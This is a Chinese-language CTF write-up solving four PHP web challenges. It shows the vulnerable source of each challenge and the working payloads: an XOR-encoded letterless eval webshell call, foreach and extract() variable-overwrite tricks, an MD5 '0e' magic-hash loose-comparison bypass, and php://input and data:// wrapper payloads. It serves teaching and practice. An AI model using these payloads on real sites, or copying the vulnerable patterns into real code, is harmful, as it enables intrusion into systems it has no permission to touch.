一、无字母webshell,题目如下
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
这里的话提示我们执行getFlag这个函数,可以利用异或绕过正则匹配,原理的话就不详细讲了。
$_="`{{{"^"?<>/"; //_GET ${$_}[_](${$_}[__]); //$_GET[_]($_GET[__]) &_=getFlag //执行函数 eval("getFlag(null)")
令变量$_="`{{{"^"?<>/",然后将该变量带入后面的{$_}中得到$_GET[_]($_GET[__]),因为_=getFlag,而__=null,所以后面就变成了getFlag("null"),便可以执行getFlag命令了。(不能把{$_}的{}去掉,如果去掉了,服务器会把$_当成字符而不是变量)
二、foreach变量覆盖
看一下题目,补充一些知识点,$_SERVER["REQUEST_METHOD"]是访问页面使用的请求方法(如get,post....),die()输出一条信息,并退出当前脚本。
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
{
die("BugsBunnyCTF is here :p…");
}
if ( !isset($_POST["flag"]) )
{
die($_403);
}
foreach ($_GET as $key => $value)
{
$$key = $$value;
}
foreach ($_POST as $key => $value)
{
$$key = $value;
}
if ( $_POST["flag"] !== $flag )
{
die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
这题的思路是先利用get将_200=flag,foreach执行后变成$_200=$flag,用$_200得到flag的值。
然后用post随便传一个flag=xxx,目的是为了满足题目要求请求方法中有post,同时传了一个flag=xxx,经过foreach执行后变成$flag=xxx,然后后面有个判断$_POST["flag"]是否等于$flag,这肯定是恒等于的,因为我们传flag=xxx则$_POST["flag"]=xxx,而前面的foreach执行后$flag=xxx,所以二者恒等。
三、弱类型比较
这题要令a[0]md5加密后的值等于md5('QNKCDZO'),同时a[0]不等于'QNKCDZO'
<?php
error_reporting(0);
if (empty($_GET['id']))
{
show_source(__FILE__);
die();
}
else
{
include ('flag.php');
$a = "www.OPENCTF.com";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
{
echo $flag;
}
else
{
exit('其实很简单其实并不难!');
}
}
?>
做这题之前补充一些需要利用的函数:parse_str()将查询字符串解析到变量中)
看个实例吧
<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
输出的结果为:
Bill
60
思路就是利用松散比较”==“,传一个id=a[0]=s878926199a,s878926199a经过md5加密后变成0e342768416822451524974117254469。
而QNKCDZOmd5加密后变成0e830400451993494058024219903391,可以看到两个字符串的哈希值都是0e+纯数字这种格式的字符串,在松散比较的时候会被认为是科学计数法,先做字符串到数字的转换,转换之后都是0的好多次方,结果都是0,所以可以相等。
四、extract变量覆盖
这是题目,这题的话分两种情况,先补充一个知识点,file_get_contents() 函数把整个文件读入一个字符串中。extract()的用法PHP extract() 函数 (w3school.com.cn)
<?php
include "flag2.php";
$flag = 'xxx';
extract($_GET);
if (isset($gift))
{
$content = trim(file_get_contents($flag));
if ($gift == $content)
{
echo $flag2;
}
else
{
echo 'Oh..';
}
}
?>
一、如果xxx文件不存在,那么这题就简单多了。xxx文件不存在,那么trim(file_get_contents($flag))为null,则$content=null。
这时候我们传一个gift= 使null= null成立,输出flag2。
二、如果xxx文件存在,且里面的东西是大小写字母开头,我们有几种方法。
伪协议(上面的第一种情况也可用):
(1)php://input
payload: ?gift=9&flag=php://input(同时设置post为9)
原理的话,php://input是个可以访问请求的原始数据的只读流,可以这么理解,当我们用php://input在post传一个9时,相当于(只是相当于,二者并不相等)传了一个里面只有一个9的新文件,从而覆盖掉原来的xxx文件,然后$content=trim(file_get_contents($flag)=9,同时我们前面传了一个gitf=9,所以$gift等于$content,输出flag2。
(2)data://
payload:?gift=9&flag=data://,9
data协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码。
可以这样做的原理我们可以类似于上面的php://input协议,区别在于data用get发送,php://input用post发送。
可能有的师傅会想到用php弱类型来做这道题,传一个gift=0,因为字符串和数字0比较,字符串会转换为数字0,0=0所以可以成功。但在这题不行,为什么呢?在学长的指点下.......因为extract接收的是一个字符串,所以传gift=0中的0是字符串,字符串与字符串比较必须得完全相同。